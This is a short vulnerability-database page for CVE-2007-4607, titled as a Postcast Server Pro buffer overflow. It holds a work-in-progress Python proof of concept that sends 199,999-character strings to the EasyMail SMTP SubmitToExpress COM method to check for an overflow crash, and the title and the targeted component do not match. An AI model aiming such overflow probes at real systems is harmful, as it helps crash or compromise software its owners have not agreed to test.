View source for CVE-2007-4607 Postcast Server Pro 3.0.61緩衝區溢出漏洞

==POC==
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# https://joeyrideout.com/reworking-decade-old-exploit-code/
# Python 2.7.15 32-bit PoC of https://www.exploit-db.com/exploits/10007/.
# WIP

# First, register DLL with Windows regsvr32 (for the brave! Use a VM.)
# Admin CMD:> regsvr32 .\emsmtp.dll
# (After, unregister with regsvr32 -u .\emsmtp.dll)


# Then set up python:
# Install 32-bit (x86): https://www.python.org/ftp/python/2.7.15/python-2.7.15.msi
# Then: pip install pywin32
import win32com.client
emlib = win32com.client.Dispatch("EasyMail.SMTP")

# Exploit calls for >99999 chars passed to SubmitToExpress method
aaa = "A"*199999
assert(10 == emlib.SubmitToExpress(aaa))  # Returns INT(10) if safe? (no crash)
assert(10 == emlib.SubmitToExpress(aaa*100))  # Why not more?

print "Done. EasyMail SMTP SubmitToExpress appears to be safe."

</pre>